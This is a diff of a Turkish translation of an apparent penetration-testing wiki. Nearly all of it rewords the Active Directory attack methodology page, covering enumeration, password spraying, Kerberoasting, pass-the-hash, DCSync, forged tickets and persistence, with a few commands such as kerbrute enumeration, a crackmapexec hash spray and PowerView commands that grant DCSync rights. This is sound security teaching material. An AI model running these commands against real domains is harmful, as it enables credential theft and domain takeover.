birimleri ile temsil edildiği bir kelime dağarcığı oluşturur. - **Faydaları:** - Esnek olup dili daha doğal bir şekilde modelleyebilir. -- Genellikle daha verimli ve kompakt tokenizasyonlar sağlar. +- Genellikle daha verimli ve kompakt tokenizasyonlar ile sonuçlanır. - _Örnek:_\ `"uluslararasılaştırma"` daha küçük, anlamlı alt kelimelere `["uluslararası", "laştırma"]` şeklinde ayrılabilir. ## Kod Örneği -Bunu [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb) adresinden bir kod örneği ile daha iyi anlayalım: +Bunu daha iyi anlamak için [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb) adresinden bir kod örneğine bakalım: ```python # Download a text to pre-train the model import urllib.request diff --git a/src/windows-hardening/active-directory-methodology/README.md b/src/windows-hardening/active-directory-methodology/README.md index a71ea1d30..5f8487d99 100644 --- a/src/windows-hardening/active-directory-methodology/README.md +++ b/src/windows-hardening/active-directory-methodology/README.md @@ -6,15 +6,15 @@ **Active Directory**, **ağ yöneticileri** için bir temel teknoloji olarak hizmet eder, **alanlar**, **kullanıcılar** ve **nesneler** oluşturup yönetmelerini sağlar. Ölçeklenebilir şekilde tasarlanmıştır, çok sayıda kullanıcıyı yönetilebilir **gruplara** ve **alt gruplara** organize etmeyi kolaylaştırırken, çeşitli seviyelerde **erişim haklarını** kontrol eder. -**Active Directory** yapısı üç ana katmandan oluşur: **alanlar**, **ağaçlar** ve **ormanlar**. Bir **alan**, ortak bir veritabanını paylaşan **kullanıcılar** veya **cihazlar** gibi nesnelerin bir koleksiyonunu kapsar. **Ağaçlar**, ortak bir yapı ile bağlantılı bu alanların gruplarıdır ve bir **orman**, birbirleriyle **güven ilişkileri** aracılığıyla bağlantılı birden fazla ağacın koleksiyonunu temsil eder, organizasyon yapısının en üst katmanını oluşturur. Bu seviyelerin her birinde belirli **erişim** ve **iletişim hakları** atanabilir. +**Active Directory** yapısı üç ana katmandan oluşur: **alanlar**, **ağaçlar** ve **ormanlar**. Bir **alan**, ortak bir veritabanını paylaşan **kullanıcılar** veya **cihazlar** gibi nesnelerin bir koleksiyonunu kapsar. **Ağaçlar**, ortak bir yapı ile bağlantılı bu alanların gruplarıdır ve bir **orman**, birden fazla ağacın **güven ilişkileri** aracılığıyla birbirine bağlı olduğu koleksiyonu temsil eder, organizasyon yapısının en üst katmanını oluşturur. Bu seviyelerin her birinde belirli **erişim** ve **iletişim hakları** atanabilir. **Active Directory** içindeki anahtar kavramlar şunlardır: 1. **Dizin** – Active Directory nesneleri ile ilgili tüm bilgileri barındırır. -2. **Nesne** – Dizin içindeki varlıkları, **kullanıcılar**, **gruplar** veya **paylaşılan klasörler** gibi, ifade eder. +2. **Nesne** – Dizin içindeki varlıkları, **kullanıcılar**, **gruplar** veya **paylaşılan klasörler** dahil olmak üzere belirtir. 3. **Alan** – Dizin nesneleri için bir konteyner görevi görür, bir **orman** içinde birden fazla alanın bir arada bulunabilme yeteneğine sahiptir, her biri kendi nesne koleksiyonunu korur. 4. **Ağaç** – Ortak bir kök alanı paylaşan alanların bir gruplamasıdır. -5. **Orman** – Active Directory'deki organizasyon yapısının zirvesidir, aralarında **güven ilişkileri** bulunan birkaç ağaçtan oluşur. +5. **Orman** – Active Directory'deki organizasyon yapısının zirvesi, aralarında **güven ilişkileri** bulunan birkaç ağaçtan oluşur. **Active Directory Domain Services (AD DS)**, bir ağ içinde merkezi yönetim ve iletişim için kritik bir dizi hizmeti kapsar. Bu hizmetler şunları içerir: @@ -65,8 +65,8 @@ Eğer sadece bir AD ortamına erişiminiz varsa ama hiçbir kimlik bilgisi/oturu - **Ağı zehirle** - Kimlik bilgilerini [**Responder ile hizmetleri taklit ederek**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) toplayın. -- [**relay saldırısını istismar ederek**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) bir ana makineye erişin. -- **fake UPnP hizmetlerini kötü-S ile** [**açığa çıkararak**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856) ile kimlik bilgilerini toplayın. +- [**İletim saldırısını kötüye kullanarak**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) ana makineye erişin. +- **Sahte UPnP hizmetlerini kötü-S ile** [**açığa çıkararak**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856) ile kimlik bilgilerini toplayın. - [**OSINT**](https://book.hacktricks.xyz/external-recon-methodology): - Alan ortamları içindeki iç belgelerden, sosyal medyadan, hizmetlerden (özellikle web) kullanıcı adlarını/isimlerini çıkarın ve ayrıca kamuya açık olanlardan. - Eğer şirket çalışanlarının tam isimlerini bulursanız, farklı AD **kullanıcı adı konvansiyonlarını** deneyebilirsiniz (**[bunu okuyun](https://activedirectorypro.com/active-directory-user-naming-convention/)**). En yaygın konvansiyonlar şunlardır: _AdSoyad_, _Ad.Soyad_, _AdSoy_ (her birinin 3 harfi), _Ad.Soy_, _ASoyad_, _A.Soyad_, _SoyadAd_, _Soyad.Ad_, _SoyadA_, _Soyad.A_, 3 _rastgele harf ve 3 rastgele rakam_ (abc123). @@ -77,7 +77,7 @@ Eğer sadece bir AD ortamına erişiminiz varsa ama hiçbir kimlik bilgisi/oturu ### Kullanıcı listeleme - **Anonim SMB/LDAP listeleme:** [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) ve [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) sayfalarını kontrol edin. -- **Kerbrute listeleme**: Bir **geçersiz kullanıcı adı istendiğinde**, sunucu **Kerberos hata** kodu _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_ kullanarak yanıt verecek, bu da kullanıcı adının geçersiz olduğunu belirlememizi sağlayacaktır. **Geçerli kullanıcı adları**, ya **AS-REP** yanıtında **TGT** alacak ya da _KRB5KDC_ERR_PREAUTH_REQUIRED_ hatasını verecek, bu da kullanıcının ön kimlik doğrulama yapması gerektiğini gösterir. +- **Kerbrute listeleme**: Bir **geçersiz kullanıcı adı istendiğinde**, sunucu **Kerberos hatası** kodu _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_ ile yanıt verecek, bu da kullanıcı adının geçersiz olduğunu belirlememizi sağlayacaktır. **Geçerli kullanıcı adları**, ya **AS-REP** yanıtında **TGT** alacak ya da _KRB5KDC_ERR_PREAUTH_REQUIRED_ hatasını verecek, bu da kullanıcının ön kimlik doğrulama yapması gerektiğini gösterir. ```bash ./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases @@ -112,7 +112,7 @@ Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Tamam, geçerli bir kullanıcı adınız var ama şifre yok... O zaman deneyin: - [**ASREPRoast**](asreproast.md): Eğer bir kullanıcının _DONT_REQ_PREAUTH_ niteliği **yoksa**, o kullanıcı için **bir AS_REP mesajı talep edebilirsiniz**; bu mesaj, kullanıcının şifresinin bir türevine göre şifrelenmiş bazı veriler içerecektir. -- [**Password Spraying**](password-spraying.md): Bulduğunuz her kullanıcı ile en **yaygın şifreleri** deneyelim, belki bazı kullanıcı kötü bir şifre kullanıyordur (şifre politikasını aklınızda bulundurun!). +- [**Password Spraying**](password-spraying.md): Bulduğunuz her kullanıcı için en **yaygın şifreleri** deneyelim, belki bazı kullanıcı kötü bir şifre kullanıyordur (şifre politikasını aklınızda bulundurun!). - Ayrıca, kullanıcıların mail sunucularına erişim sağlamak için **OWA sunucularını da spray yapabilirsiniz**. {{#ref}} @@ -121,7 +121,7 @@ password-spraying.md ### LLMNR/NBT-NS Zehirleme -Bazı zorluk **hash'lerini** elde edebilmek için **ağ** protokollerini **zehirleyerek** **elde edebilirsiniz**: +Bazı zorluk **hash'lerini** elde edebilmek için **ağ** protokollerini **zehirleyerek** elde edebilirsiniz: {{#ref}} ../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md @@ -161,7 +161,7 @@ Bir hesabı ele geçirmek, **tüm alanı ele geçirmeye başlamak için büyük - Aktif dizinde keşif için başka bir harika araç [**BloodHound**](bloodhound.md). **Çok gizli değildir** (kullandığınız toplama yöntemlerine bağlı olarak), ama **bununla ilgilenmiyorsanız**, kesinlikle denemelisiniz. Kullanıcıların RDP yapabileceği yerleri bulun, diğer gruplara giden yolları keşfedin, vb. - **Diğer otomatik AD listeleme araçları şunlardır:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.** - [**AD'nin DNS kayıtları**](ad-dns-records.md) ilginç bilgiler içerebilir. -- Dizin listelemek için kullanabileceğiniz **GUI'ye sahip bir araç** **AdExplorer.exe**'dir, **SysInternal** Suite'ten. +- Dizin listelemek için kullanabileceğiniz bir **GUI aracı** **SysInternal** Suite'den **AdExplorer.exe**'dir. - Ayrıca, _userPassword_ ve _unixUserPassword_ alanlarında veya hatta _Description_ için kimlik bilgilerini aramak üzere **ldapsearch** ile LDAP veritabanında arama yapabilirsiniz. Diğer yöntemler için [PayloadsAllTheThings'deki AD Kullanıcı yorumundaki Şifre](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) bağlantısına bakın. - **Linux** kullanıyorsanız, [**pywerview**](https://github.com/the-useless-one/pywerview) kullanarak alanı da listeleyebilirsiniz. - Ayrıca otomatik araçlar denemek isteyebilirsiniz: @@ -175,7 +175,7 @@ Windows'tan tüm alan kullanıcı adlarını elde etmek çok kolaydır (`net use ### Kerberoast -Kerberoasting, kullanıcı hesaplarına bağlı hizmetler tarafından kullanılan **TGS biletlerini** elde etmeyi ve bunların şifrelemesini—kullanıcı şifrelerine dayalı olarak—**çözmeyi** içerir. +Kerberoasting, kullanıcı hesaplarına bağlı hizmetler tarafından kullanılan **TGS biletlerini** elde etmeyi ve bunların şifrelemesini—kullanıcı şifrelerine dayalı olan—**çözmeyi** içerir. Bununla ilgili daha fazla bilgi: @@ -185,11 +185,11 @@ kerberoast.md ### Uzaktan bağlantı (RDP, SSH, FTP, Win-RM, vb.) -Bazı kimlik bilgilerini elde ettikten sonra, herhangi bir **makineye** erişiminiz olup olmadığını kontrol edebilirsiniz. Bu amaçla, **CrackMapExec** kullanarak farklı protokollerle birkaç sunucuya bağlanmayı deneyebilirsiniz, port taramalarınıza göre. +Bazı kimlik bilgilerini elde ettikten sonra, herhangi bir **makineye** erişiminiz olup olmadığını kontrol edebilirsiniz. Bu amaçla, **CrackMapExec** kullanarak farklı protokollerle birkaç sunucuya bağlanmayı deneyebilirsiniz. ### Yerel Yetki Yükseltme -Eğer ele geçirilmiş kimlik bilgilerine veya bir oturuma sahipseniz ve bu kullanıcı ile **alan içindeki herhangi bir makineye erişiminiz varsa**, **yerel olarak yetki yükseltme yollarını bulmaya ve kimlik bilgilerini çalmaya** çalışmalısınız. Çünkü yalnızca yerel yönetici ayrıcalıkları ile **diğer kullanıcıların hash'lerini** bellekte (LSASS) ve yerel olarak (SAM) dökebilirsiniz. +Eğer ele geçirilmiş kimlik bilgilerine veya bir oturuma sahipseniz ve bu kullanıcı ile **alan içindeki herhangi bir makineye erişiminiz varsa**, **yerel olarak yetki yükseltme yollarını bulmaya ve kimlik bilgilerini çalmaya** çalışmalısınız. Çünkü yalnızca yerel yönetici ayrıcalıkları ile **diğer kullanıcıların** bellek (LSASS) ve yerel (SAM) içindeki hash'lerini **dökmek** mümkün olacaktır. Bu kitapta [**Windows'ta yerel yetki yükseltme**](../windows-local-privilege-escalation/index.html) hakkında bir sayfa ve bir [**kontrol listesi**](../checklist-windows-privilege-escalation.md) bulunmaktadır. Ayrıca, [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) kullanmayı unutmayın. @@ -205,7 +205,7 @@ Beklenmedik kaynaklara erişim izni veren **biletler** bulmanız çok **olasıl ``` ### NTML Relay -Eğer aktif dizini listelemeyi başardıysanız, **daha fazla e-posta ve ağ hakkında daha iyi bir anlayışa sahip olacaksınız**. NTML [**relay saldırılarını**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)** gerçekleştirebilirsiniz.** +Eğer aktif dizini listelemeyi başardıysanız, **daha fazla e-posta ve ağ hakkında daha iyi bir anlayışa sahip olacaksınız**. NTML [**relay saldırılarını**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)** gerçekleştirmeyi başarabilirsiniz.** ### **Bilgisayar Paylaşımlarında Kimlik Bilgilerini Arayın** @@ -215,7 +215,7 @@ Artık bazı temel kimlik bilgilerine sahip olduğunuza göre, **AD içinde payl ### NTLM Kimlik Bilgilerini Çal -Eğer **diğer PC'lere veya paylaşımlara erişiminiz varsa**, **dosyalar yerleştirebilirsiniz** (örneğin bir SCF dosyası) ve bu dosyalar bir şekilde erişildiğinde, **sizinle NTML kimlik doğrulaması tetikleyecektir** böylece **NTLM zorluğunu çalabilir** ve onu kırabilirsiniz: +Eğer **diğer PC'lere veya paylaşımlara erişiminiz varsa**, **dosyalar yerleştirebilirsiniz** (örneğin bir SCF dosyası) ve bu dosyalar bir şekilde erişildiğinde **sizinle NTML kimlik doğrulaması tetikleyecektir**, böylece **NTLM zorluğunu çalabilir** ve onu kırabilirsiniz: {{#ref}} ../ntlm/places-to-steal-ntlm-creds.md @@ -229,23 +229,23 @@ Bu güvenlik açığı, herhangi bir kimlik doğrulaması yapılmış kullanıc printnightmare.md {{#endref}} -## Aktif Dizin'de Yetki Yükseltme ÖZEL yetkili kimlik bilgileri/oturum ile +## Aktif Dizin'de Yetki Yükseltme Özel Yetkiler/Kullanıcı Oturumu ile -**Aşağıdaki teknikler için normal bir alan kullanıcısı yeterli değildir, bu saldırıları gerçekleştirmek için bazı özel yetkiler/kimlik bilgileri gereklidir.** +**Aşağıdaki teknikler için normal bir alan kullanıcısı yeterli değildir, bu saldırıları gerçekleştirmek için bazı özel yetkilere/kullanıcılara ihtiyacınız var.** ### Hash çıkarımı -Umarım [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) dahil olmak üzere relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [yerel olarak yetki yükseltme](../windows-local-privilege-escalation/index.html) kullanarak **bazı yerel yönetici** hesaplarını **tehlikeye atmayı** başardınız.\ +Umarım [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) dahil olmak üzere relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [yerel olarak yetki yükseltme](../windows-local-privilege-escalation/index.html) kullanarak **bazı yerel yönetici** hesaplarını **tehlikeye atmayı başardınız**.\ Sonra, bellek ve yerel olarak tüm hash'leri dökme zamanı.\ [**Hash'leri elde etmenin farklı yolları hakkında bu sayfayı okuyun.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md) ### Hash'i Geç **Bir kullanıcının hash'ine sahip olduğunuzda**, onu **taklit etmek için** kullanabilirsiniz.\ -Bu **hash** ile **NTLM kimlik doğrulamasını gerçekleştirecek** bir **araç** kullanmalısınız, **veya** yeni bir **sessionlogon** oluşturup **o hash'i** **LSASS** içine **enjekte** edebilirsiniz, böylece herhangi bir **NTLM kimlik doğrulaması yapıldığında**, o **hash kullanılacaktır.** Son seçenek, mimikatz'ın yaptığıdır.\ +Bu **hash** ile **NTLM kimlik doğrulamasını gerçekleştirecek** bir **araç** kullanmalısınız, **ya da** yeni bir **sessionlogon** oluşturup **o hash'i** **LSASS** içine **enjekte** edebilirsiniz, böylece herhangi bir **NTLM kimlik doğrulaması yapıldığında**, o **hash kullanılacaktır.** Son seçenek, mimikatz'ın yaptığıdır.\ [**Daha fazla bilgi için bu sayfayı okuyun.**](../ntlm/index.html#pass-the-hash) -### Hash'i Aş/ Anahtarı Geç +### Hash'i Aş/Key'i Geç Bu saldırı, **kullanıcı NTLM hash'ini Kerberos biletleri talep etmek için kullanmayı** amaçlar; bu, NTLM protokolü üzerinden yaygın Pass The Hash'e alternatif olarak. Bu nedenle, bu özellikle **NTLM protokolünün devre dışı bırakıldığı** ve yalnızca **Kerberos'un** kimlik doğrulama protokolü olarak **izin verildiği** ağlarda **yararlı olabilir**. @@ -261,9 +261,9 @@ over-pass-the-hash-pass-the-key.md pass-the-ticket.md {{#endref}} -### Kimlik Bilgilerini Yeniden Kullanma +### Kimlik Bilgileri Yeniden Kullanımı -Eğer bir **yerel yönetici**'nin **hash** veya **şifresine** sahipseniz, bunu kullanarak diğer **PC'lere** **yerel olarak giriş yapmayı** denemelisiniz. +Eğer bir **yerel yönetici**nin **hash'ine** veya **şifresine** sahipseniz, bunu kullanarak diğer **PC'lere** **yerel olarak giriş yapmayı** denemelisiniz. ```bash # Local Auth Spray (once you found some local admin pass or hash) ## --local-auth flag indicate to only try 1 time per machine @@ -275,7 +275,7 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c ### MSSQL Kötüye Kullanımı & Güvenilir Bağlantılar Bir kullanıcının **MSSQL örneklerine erişim** yetkisi varsa, MSSQL ana bilgisayarında **komutlar çalıştırmak**, NetNTLM **hash**'ini **çalmak** veya hatta bir **relay** **saldırısı** gerçekleştirmek için bunu kullanabilir.\ -Ayrıca, bir MSSQL örneği başka bir MSSQL örneği tarafından güvenilir (veritabanı bağlantısı) olarak işaretlenmişse ve kullanıcı güvenilir veritabanı üzerinde yetkilere sahipse, **güven ilişkisini kullanarak diğer örnekte de sorgular çalıştırabilecektir**. Bu güven ilişkileri zincirlenebilir ve bir noktada kullanıcı, komut çalıştırabileceği yanlış yapılandırılmış bir veritabanı bulabilir.\ +Ayrıca, bir MSSQL örneği başka bir MSSQL örneği tarafından güvenilir (veritabanı bağlantısı) olarak işaretlenmişse ve kullanıcı güvenilir veritabanı üzerinde yetkilere sahipse, **güven ilişkisini kullanarak diğer örnekte de sorgular çalıştırabilecektir**. Bu güven ilişkileri zincirlenebilir ve bir noktada kullanıcı, komutları çalıştırabileceği yanlış yapılandırılmış bir veritabanı bulabilir.\ **Veritabanları arasındaki bağlantılar, orman güvenleri arasında bile çalışır.** {{#ref}} @@ -284,7 +284,7 @@ abusing-ad-mssql.md ### Sınırsız Delegasyon -[ADS_UF_TRUSTED_FOR_DELEGATION]() niteliğine sahip herhangi bir Bilgisayar nesnesi bulursanız ve bilgisayarda alan yetkileriniz varsa, bilgisayara giriş yapan her kullanıcının bellekten TGT'lerini dökme yeteneğine sahip olursunuz.\ +Eğer [ADS_UF_TRUSTED_FOR_DELEGATION]() niteliğine sahip herhangi bir Bilgisayar nesnesi bulursanız ve bilgisayarda alan yetkileriniz varsa, bilgisayara giriş yapan her kullanıcının TGT'sini bellekten dökme yeteneğine sahip olursunuz.\ Yani, eğer bir **Domain Admin bilgisayara giriş yaparsa**, onun TGT'sini dökebilir ve [Pass the Ticket](pass-the-ticket.md) kullanarak onu taklit edebilirsiniz.\ Sınırlı delegasyon sayesinde, bir Yazıcı Sunucusunu **otomatik olarak ele geçirebilirsiniz** (umarım bu bir DC olacaktır). @@ -294,8 +294,8 @@ unconstrained-delegation.md ### Sınırlı Delegasyon -Bir kullanıcı veya bilgisayara "Sınırlı Delegasyon" izni verilmişse, bu, **bir kullanıcıyı taklit ederek bir bilgisayardaki bazı hizmetlere erişim** sağlayabilir.\ -Sonrasında, eğer bu kullanıcı/bilgisayarın **hash'ini ele geçirirseniz**, **herhangi bir kullanıcıyı** (hatta alan yöneticilerini) taklit ederek bazı hizmetlere erişim sağlayabilirsiniz. +Eğer bir kullanıcı veya bilgisayara "Sınırlı Delegasyon" izni verilmişse, bu, **bir kullanıcının bir bilgisayardaki bazı hizmetlere erişmek için herhangi bir kullanıcıyı taklit etmesine** olanak tanır.\ +Sonrasında, eğer bu kullanıcı/bilgisayarın **hash'ini ele geçirirseniz**, **herhangi bir kullanıcıyı** (hatta alan yöneticilerini) taklit ederek bazı hizmetlere erişebilirsiniz. {{#ref}} constrained-delegation.md @@ -311,7 +311,7 @@ resource-based-constrained-delegation.md ### ACL'lerin Kötüye Kullanımı -Ele geçirilmiş bir kullanıcının, bazı alan nesneleri üzerinde bazı **ilginç yetkilere** sahip olması, kullanıcının **yanal hareket etmesine**/**yetkileri yükseltmesine** olanak tanıyabilir. +Kompromize olmuş bir kullanıcının, bazı alan nesneleri üzerinde **ilginç yetkilere** sahip olması, daha sonra **yanal hareket etmenizi** veya **yetkileri yükseltmenizi** sağlayabilir. {{#ref}} acl-persistence-abuse/ @@ -327,7 +327,7 @@ printers-spooler-service-abuse.md ### Üçüncü Taraf Oturumlarının Kötüye Kullanımı -Eğer **diğer kullanıcılar** **ele geçirilmiş** makineye **erişirse**, bellekten **kimlik bilgilerini toplamak** ve hatta **onların süreçlerine beacon enjekte etmek** mümkündür.\ +Eğer **diğer kullanıcılar** **kompromize** olmuş makineye **erişirse**, bellekten **kimlik bilgilerini toplamak** ve hatta **onların süreçlerine beacon enjekte etmek** mümkündür.\ Genellikle kullanıcılar sisteme RDP aracılığıyla erişir, bu nedenle burada üçüncü taraf RDP oturumları üzerinde birkaç saldırı gerçekleştirme yöntemini bulabilirsiniz: {{#ref}} @@ -344,7 +344,7 @@ laps.md ### Sertifika Hırsızlığı -Ele geçirilmiş bir makineden **sertifikaları toplamak**, ortam içinde yetkileri yükseltmenin bir yolu olabilir: +Kompromize olmuş makineden **sertifikaları toplamak**, ortam içinde yetkileri yükseltmenin bir yolu olabilir: {{#ref}} ad-certificates/certificate-theft.md @@ -358,7 +358,7 @@ Eğer **savunmasız şablonlar** yapılandırılmışsa, bunları yetkileri yük ad-certificates/domain-escalation.md {{#endref}} -## Yüksek Yetkili Hesap ile Sonrası Sömürü +## Yüksek Yetkili Hesap ile Post-Exploitation ### Alan Kimlik Bilgilerini Dökme @@ -391,27 +391,27 @@ Set-DomainObject -Identity -XOR @{UserAccountControl=4194304} Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync ``` -### Gümüş Bilet +### Silver Ticket -**Gümüş Bilet saldırısı**, belirli bir hizmet için **geçerli bir Ticket Granting Service (TGS) bileti** oluşturur ve **NTLM hash**'ini kullanır (örneğin, **PC hesabının hash'i**). Bu yöntem, **hizmet yetkilerine erişmek** için kullanılır. +**Silver Ticket saldırısı**, belirli bir hizmet için **geçerli bir Ticket Granting Service (TGS) bileti** oluşturur ve **NTLM hash**'ini kullanır (örneğin, **PC hesabının hash'i**). Bu yöntem, **hizmet yetkilerine erişmek** için kullanılır. {{#ref}} silver-ticket.md {{#endref}} -### Altın Bilet +### Golden Ticket -**Altın Bilet saldırısı**, bir saldırganın Active Directory (AD) ortamında **krbtgt hesabının NTLM hash'ine** erişim sağlamasıdır. Bu hesap, AD ağında kimlik doğrulama için gerekli olan tüm **Ticket Granting Tickets (TGT'ler)**'i imzalamak için kullanıldığı için özeldir. +**Golden Ticket saldırısı**, bir saldırganın Active Directory (AD) ortamında **krbtgt hesabının NTLM hash'ine** erişim sağlamasıdır. Bu hesap, AD ağında kimlik doğrulama için gerekli olan tüm **Ticket Granting Tickets (TGT'ler)**'i imzalamak için kullanıldığı için özeldir. -Saldırgan bu hash'i elde ettiğinde, istedikleri herhangi bir hesap için **TGT'ler** oluşturabilir (Gümüş bilet saldırısı). +Saldırgan bu hash'i elde ettiğinde, istedikleri herhangi bir hesap için **TGT'ler** oluşturabilir (Silver ticket saldırısı). {{#ref}} golden-ticket.md {{#endref}} -### Elmas Bilet +### Diamond Ticket -Bunlar, **yaygın altın bilet tespit mekanizmalarını atlayacak şekilde** sahte olarak oluşturulmuş altın biletler gibidir. +Bunlar, **yaygın golden ticket tespit mekanizmalarını atlayacak şekilde** sahte olarak oluşturulmuş golden ticket'lardır. {{#ref}} diamond-ticket.md @@ -419,7 +419,7 @@ diamond-ticket.md ### **Sertifikalar Hesap Sürekliliği** -**Bir hesabın sertifikalarına sahip olmak veya bunları talep edebilmek**, kullanıcı hesabında sürekliliği sağlamak için çok iyi bir yoldur (şifreyi değiştirse bile): +**Bir hesabın sertifikalarına sahip olmak veya bunları talep edebilmek**, kullanıcı hesabında sürekliliği sağlamak için çok iyi bir yoldur (kullanıcı parolasını değiştirse bile): {{#ref}} ad-certificates/account-persistence.md @@ -427,7 +427,7 @@ ad-certificates/account-persistence.md ### **Sertifikalar Alan Sürekliliği** -**Sertifikaları kullanarak, alan içinde yüksek yetkilerle de süreklilik sağlamak mümkündür:** +**Sertifikaları kullanarak, alan içinde yüksek yetkilerle sürekliliği sağlamak da mümkündür:** {{#ref}} ad-certificates/domain-persistence.md @@ -441,7 +441,7 @@ Active Directory'deki **AdminSDHolder** nesnesi, **yetkili grupların** (Domain ### DSRM Kimlik Bilgileri -Her **Domain Controller (DC)** içinde bir **yerel yönetici** hesabı bulunur. Böyle bir makinede yönetici hakları elde ederek, **mimikatz** kullanarak yerel Yönetici hash'ini çıkarabilirsiniz. Ardından, bu parolanın **kullanımını etkinleştirmek** için bir kayıt defteri değişikliği gereklidir; bu, yerel Yönetici hesabına uzaktan erişim sağlar. +Her **Domain Controller (DC)** içinde bir **yerel yönetici** hesabı bulunmaktadır. Böyle bir makinede yönetici hakları elde ederek, yerel Yönetici hash'ini **mimikatz** kullanarak çıkarabilirsiniz. Ardından, bu parolanın **kullanımını etkinleştirmek** için bir kayıt defteri değişikliği gereklidir; bu, yerel Yönetici hesabına uzaktan erişim sağlar. {{#ref}} dsrm-credentials.md @@ -457,13 +457,13 @@ acl-persistence-abuse/ ### Güvenlik Tanımlayıcıları -**Güvenlik tanımlayıcıları**, bir **nesnenin** üzerinde sahip olduğu **izinleri** **saklamak** için kullanılır. Eğer bir nesnenin **güvenlik tanımlayıcısında** sadece **küçük bir değişiklik** yapabilirseniz, o nesne üzerinde, ayrıcalıklı bir grubun üyesi olmanıza gerek kalmadan çok ilginç yetkilere sahip olabilirsiniz. +**Güvenlik tanımlayıcıları**, bir **nesnenin** üzerinde **izinleri** **saklamak** için kullanılır. Eğer bir nesnenin **güvenlik tanımlayıcısında** sadece **küçük bir değişiklik** yapabilirseniz, o nesne üzerinde, ayrıcalıklı bir grubun üyesi olmanıza gerek kalmadan çok ilginç yetkilere sahip olabilirsiniz. {{#ref}} security-descriptors.md {{#endref}} -### İskelet Anahtar +### Skeleton Key **LSASS**'ı bellekte değiştirerek, tüm alan hesaplarına erişim sağlayan **evrensel bir parola** oluşturun. @@ -474,7 +474,7 @@ skeleton-key.md ### Özel SSP [Bir SSP'nin (Güvenlik Destek Sağlayıcısı) ne olduğunu burada öğrenin.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\ -Kendi **SSP'nizi** oluşturabilir ve makineye erişim için kullanılan **kimlik bilgilerini** **düz metin** olarak **yakalamak** için kullanabilirsiniz.\\ +Kendi **SSP'nizi** oluşturabilir ve makineye erişim için kullanılan **kimlik bilgilerini** **düz metin** olarak **yakalamak** için kullanabilirsiniz. {{#ref}} custom-ssp.md @@ -482,7 +482,7 @@ custom-ssp.md ### DCShadow -AD'de **yeni bir Domain Controller** kaydeder ve belirli nesnelerde **özellikleri** (SIDHistory, SPN'ler...) **güncellemeleri** **log** bırakmadan **itme** işlemi yapar. **DA** yetkilerine sahip olmanız ve **kök alan** içinde olmanız gerekir.\ +AD'de **yeni bir Domain Controller** kaydeder ve belirli nesnelerde **özellikleri** (SIDHistory, SPNs...) **güncellemeleri** **log** bırakmadan **itme** işlemi yapar. **DA** yetkilerine sahip olmanız ve **kök alan** içinde olmanız gerekir.\ Yanlış veri kullanırsanız, oldukça kötü loglar ortaya çıkacaktır. {{#ref}} @@ -491,7 +491,7 @@ dcshadow.md ### LAPS Sürekliliği -Daha önce, **LAPS parolalarını okuma iznine sahip olduğunuzda** yetkileri nasıl yükseltebileceğimiz hakkında konuştuk. Ancak, bu parolalar **sürekliliği sağlamak** için de kullanılabilir.\ +Daha önce, **LAPS parolalarını okuma iznine sahip olduğunuzda** yetkileri nasıl yükseltebileceğinizi tartıştık. Ancak, bu parolalar **sürekliliği sağlamak** için de kullanılabilir.\ Kontrol edin: {{#ref}} @@ -506,36 +506,36 @@ Microsoft, **Ormanı** güvenlik sınırı olarak görmektedir. Bu, **tek bir al Bir [**alan güveni**](), 